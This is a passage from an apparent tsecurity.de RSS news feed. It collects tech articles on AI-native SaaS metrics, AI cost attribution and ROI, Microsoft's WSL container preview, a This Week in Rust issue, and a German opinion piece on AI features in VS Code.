    “Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.

    ]]>         <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Thu, 23 Jul 2026 14:05:04 +0200 📰 IT Nachrichten tsecurity.de

    The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

    In brief:

    • AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
    • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
    • These changes impact everything from pricing to valuations.

    The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

    The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

    While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

    Why do software companies need new metrics?

    Why the rethink, and why now? There are five major forces that are driving this shift:

    1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
    2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
    3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
    4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
    5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

    How this shift is impacting pricing

    Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

    Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

    Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

    Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

    Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

    How AI upends classic SaaS metrics

    When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

    But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

    Revenue composition

    • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
    • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
    • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
    • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

    Margin reality

    • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
    • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
    • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
    • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

    Behavioral and value signals

    • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
    • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
    • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

    Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

    What does this mean for enterprise value calculations?

    As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

    Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

    For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

    In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

    We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

    Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

    What this means for leaders, boards and investors

    The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

    While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

    It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

    The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Thunderbird: Neue ESR-Version mit Exchange-Support]]> https://tsecurity.de/de/3688675/it-nachrichten/thunderbird-neue-esr-version-mit-exchange-support/ https://tsecurity.de/de/3688675/it-nachrichten/thunderbird-neue-esr-version-mit-exchange-support/ Thu, 23 Jul 2026 12:19:30 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Determining the ROI of AI requires data that most companies lack]]> https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ Thu, 23 Jul 2026 11:07:22 +0200 🔧 AI Nachrichten tsecurity.de

    Leadership wants to scale AI. Budgets are tripling. Adoption is up.

    Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

    Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

    Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

    But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

    AI providers won’t fix this problem

    The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

    Not convinced? Compare what AWS gives you to what an AI provider gives you.

    AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

    An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

    If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 

    Three required sources

    Building AI ROI measurement requires three data sources, stitched together in a single model.

    1. Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
    2. Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
    3. Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

    Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

    Why agentic AI makes this urgent

    Single-call inference is the easy case. One request, one cost, one customer, one outcome.

    Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

    If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

    When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

    What changes when the three sources come together

    Once the three sources are stitched together, the AI investment conversation changes.

    Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 

    Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

    The build trap

    AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

    The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

    It is a trap. Three reasons.

    Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

    The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

    The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

    The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

    The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

    —

    New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

    ]]>         <![CDATA[WSL container: A quiet revolution for Windows development]]> https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ Thu, 23 Jul 2026 11:07:20 +0200 🔧 AI Nachrichten tsecurity.de

    Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.

    Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.

    I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.

    So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.

    Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.

    Getting started with WSL container

    WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.

    This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).

    Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.

    Calling Linux containers from Windows applications

    Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.

    The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.

    Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.

    It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.

    Manage Linux containers from Windows

    If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.

    WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.

    Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.

    Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.

    Run Kubernetes inside Windows for cloud-native development

    One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.

    It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.

    The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.

    ]]>         <![CDATA[Brazilian Banking Trojan Actively Spreading in Portugal]]> https://tsecurity.de/de/3688233/it-security-nachrichten/brazilian-banking-trojan-actively-spreading-in-portugal/ https://tsecurity.de/de/3688233/it-security-nachrichten/brazilian-banking-trojan-actively-spreading-in-portugal/ Thu, 23 Jul 2026 09:10:45 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[iOS 27 CarPlay: Every New Feature Coming This Fall]]> https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/ https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/ Thu, 23 Jul 2026 08:57:19 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Claude Security Plugin Uses AI to Find, Validate, and Patch Software Flaws]]> https://tsecurity.de/de/3688132/it-security-nachrichten/claude-security-plugin-uses-ai-to-find-validate-and-patch-software-flaws/ https://tsecurity.de/de/3688132/it-security-nachrichten/claude-security-plugin-uses-ai-to-find-validate-and-patch-software-flaws/ Thu, 23 Jul 2026 08:11:53 +0200 📰 IT Security Nachrichten tsecurity.de Anthropic has expanded its AI-driven vulnerability detection capabilities by launching Claude Security as a native Claude Code plugin, now available in beta for all Claude Code users. The move brings Anthropic’s reasoning-based security scanning directly into developers’ terminals, allowing teams to scan changes before committing or run full codebase audits using the same Claude inference [
]

    The post Claude Security Plugin Uses AI to Find, Validate, and Patch Software Flaws appeared first on Cyber Security News.

    ]]>         <![CDATA[This Week In Rust: This Week in Rust 661]]> https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/ Thu, 23 Jul 2026 07:18:12 +0200 đŸ’Ÿ Tools tsecurity.de Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

    This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

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    Updates from Rust Community

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    Crate of the Week

    This week's crate is xan, a TUI toolkit to work with CSV files.

    Thanks to Simeon H.K. Fitch for the suggestion!

    Please submit your suggestions and votes for next week!

    Calls for Testing

    An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

    If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

    No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

    Let us know if you would like your feature to be tracked as a part of this list.

    Call for Participation; projects and speakers

    CFP - Projects

    Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

    Some of these tasks may also have mentors available, visit the task page for more information.

    • No Calls for participation were submitted this week.

    If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

    CFP - Events

    Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

    • No Calls for papers or presentations were submitted this week.

    If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

    Updates from the Rust Project

    576 pull requests were merged in the last week

    Compiler
    Library
    Cargo
    Rustdoc
    Clippy
    Rust-Analyzer
    Rust Compiler Performance Triage

    The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

    There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

    Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

    Summary:

    (instructions:u) mean range count
    Regressions ❌
    (primary)    		 0.4% [0.2%, 1.0%] 40
    Regressions ❌
    (secondary)    		 0.7% [0.2%, 4.6%] 69
    Improvements ✅
    (primary)    		 -2.0% [-6.2%, -0.2%] 136
    Improvements ✅
    (secondary)    		 -2.6% [-8.4%, -0.2%] 119
    All ❌✅ (primary) -1.4% [-6.2%, 1.0%] 176

    2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

    Full report here.

    Approved RFCs

    Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

    • No RFCs were approved this week.
    Final Comment Period

    Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

    Tracking Issues & PRs
    Rust Compiler Team (MCPs only) Leadership Council Unsafe Code Guidelines

    No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

    Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

    New and Updated RFCs

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    If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

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    Please see the latest Who's Hiring thread on r/rust

    Quote of the Week

    We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

    – Carl Lerche on r/rust about the launch of topcoat

    Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

    Please submit quotes and vote for next week!

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    ]]>         <![CDATA[Visual Studio Code hat ein KI-Problem]]> Wenn der „Wutball“ zum neuen Standard-“Add-On” fĂŒr Visual Studio Code mutiert
Apichart Poemchawalit | shutterstock.com Liebe Microsoft-Entscheider, Ich möchte keine Hassliebe zu Visual Studio Code (VS Code) entwickeln. Aber ihr macht es mir wirklich schwer. FrĂŒher war VS Code einfach nur e...]]> https://tsecurity.de/de/3687934/it-security-nachrichten/visual-studio-code-hat-ein-ki-problem/ https://tsecurity.de/de/3687934/it-security-nachrichten/visual-studio-code-hat-ein-ki-problem/ Thu, 23 Jul 2026 06:09:13 +0200 📰 IT Security Nachrichten tsecurity.de
    >
    Wenn der „Wutball“ zum neuen Standard-“Add-On” fĂŒr Visual Studio Code mutiert


    Apichart Poemchawalit | shutterstock.com

    Liebe Microsoft-Entscheider,

    Ich möchte keine Hassliebe zu Visual Studio Code (VS Code) entwickeln. Aber ihr macht es mir wirklich schwer. FrĂŒher war VS Code einfach nur ein Editor, den man mit Hilfe von Add-Ons genau so konfiguriert hat, wie man es brauchte oder wollte. Deshalb habe ich das Tool bisher auch wirklich gerne fĂŒr diverse Dev-Aufgaben in unterschiedlichen Programmiersprachen genutzt. Zum Beispiel, um:

    • mit Extensions einen Python-Workflow aufzusetzen, der Datenbankfunktionen erschließt,
    • eine Umgebung fĂŒr das digitale Publishing von BĂŒchern zu erstellen, oder
    • ein Screenwriting-Projekt einzurichten.

    NatĂŒrlich geht all das auch noch heute. Aber: BuchstĂ€blich jede neue Funktion in Visual Studio Code dreht sich heute nur noch um ein Thema: KI. Das hat inzwischen Ausmaße angenommen, angesichts derer ich mir die Frage stelle, ob in Eurem Unternehmen ĂŒberhaupt noch jemand am eigentlichen Editor arbeitet.

    Die Release-Notes zu VS Code 1.127 sind ein gutes Beispiel: Abgesehen von einer Funktion, dreht sich auch hier alles nur um Agenten und Large Language Models (LLMs). Gleiches gilt auch fĂŒr die VorgĂ€ngerversion. Der Trend ist klar erkennbar: VS Code entwickelt sich rasant weiter, vor allem in Richtung Frontend fĂŒr Agenten. Alles andere scheint erst einmal nachrangig.

    Manche mögen argumentieren, dass Microsofts Dev-Tool inzwischen so ausgereift ist, dass es an den KernfunktionalitĂ€ten nicht mehr viel zu optimieren gibt – weshalb der Fokus nun eben vor allem darauf liegt, neue Nutzer ĂŒber den KI-Trend anzuziehen. Das ist allerdings kein Grund dafĂŒr, dass all diese KI-Funktionen auf IDE-Ebene integriert werden mĂŒssen. Meiner Meinung nach sollte Euer Fokus eher darauf liegen, die native Erweiterbarkeit von VS Code zu fördern – statt keinen Stein auf dem anderen zu lassen, nur um KI-Funktionen zu nativen Elementen zu machen.

    Im Grunde geht es Euch in meinen Augen vor allem darum, Visual Studio Code zum ersten Anlaufpunkt fĂŒr KI zu machen – insbesondere fĂŒr GitHub Copilot. Allerdings rĂŒckt so aus meiner Perspektive die Entwicklererfahrung zugunsten der AllgegenwĂ€rtigkeit von KI in den Hintergrund. Wenn Ihr wirklich glaubt, dass jeder User von VS Code ein „Agentic Development Environment“ (ADE) einer IDE vorzieht, liegt Ihr in meinen Augen völlig falsch.

    KI-Tools werden zwar nicht wieder verschwinden. Ich glaube aber durchaus, dass es kĂŒnftig zu einer Konsolidierung kommen wird.  Frontier-Modelle, die alles können und noch sechs weitere Features obendrauf packen, werden sich bald nur noch nur fĂŒr große Anbieter lohnen, die ein Netz aus API-„Mautstellen“ darum herum errichten – und genug Geld haben, um entsprechende Rechenzentren zu betreiben.

    Der allgemeine Trend geht bei KI eher hin zu kleineren, lokal gehosteten Modellen, die spezialisierte Tasks bewĂ€ltigen – und mit deutlich weniger Aufwand zu trainieren, bereitzustellen und zu betreiben sind. Es macht also echt wenig Sinn, das Pferd hinter den Karren zu spannen – wie bei den nativen KI-Funktionen von VS Code.

    Gleichzeitig habe ich die Hoffnung, dass es nicht mehr so lange dauert, bis die KI-Funktionen wieder aus Visual Studio Code herausgelöst und in ein Add-On verfrachtet werden. Bis es so weit ist, bleibt mir wohl nur, mich damit abzufinden, dass mein Lieblings-Editor zunehmend mit KI-Funktionen vollgestopft wird – ganz gleich, ob sie fĂŒr meinen Anwendungsfall ĂŒberhaupt Sinn machen oder nicht. Immerhin ist es (noch) möglich, das ganze KI-Zeug in VS Code zu deaktivieren.

    WÀhrend ich diesen Text hier schreibe, habe ich gerade das Update auf VS Code 1.128 erhalten. Das enthÀlt eine nutzwertige Funktion, die ich sicher oft nutzen werden: die Möglichkeit, Tastatur-Shortcuts auf Betriebssystemebene einzurichten. Ansonsten dreht sich auch bei diesem Update alles nur um eines: KI.

    Besinnt Euch darauf, was Visual Studio Code groß gemacht hat – ansonsten riskiert Ihr auf lange Sicht, Benutzer zu verlieren.

    Liebe GrĂŒĂŸe,

    ein genervter Visual-Studio-Code-Poweruser.

    Dieser Artikel ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

    ]]>         <![CDATA[Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)]]> https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/ https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/ Thu, 23 Jul 2026 04:14:01 +0200 📰 IT Security Nachrichten tsecurity.de

    OnionHop – Überblick

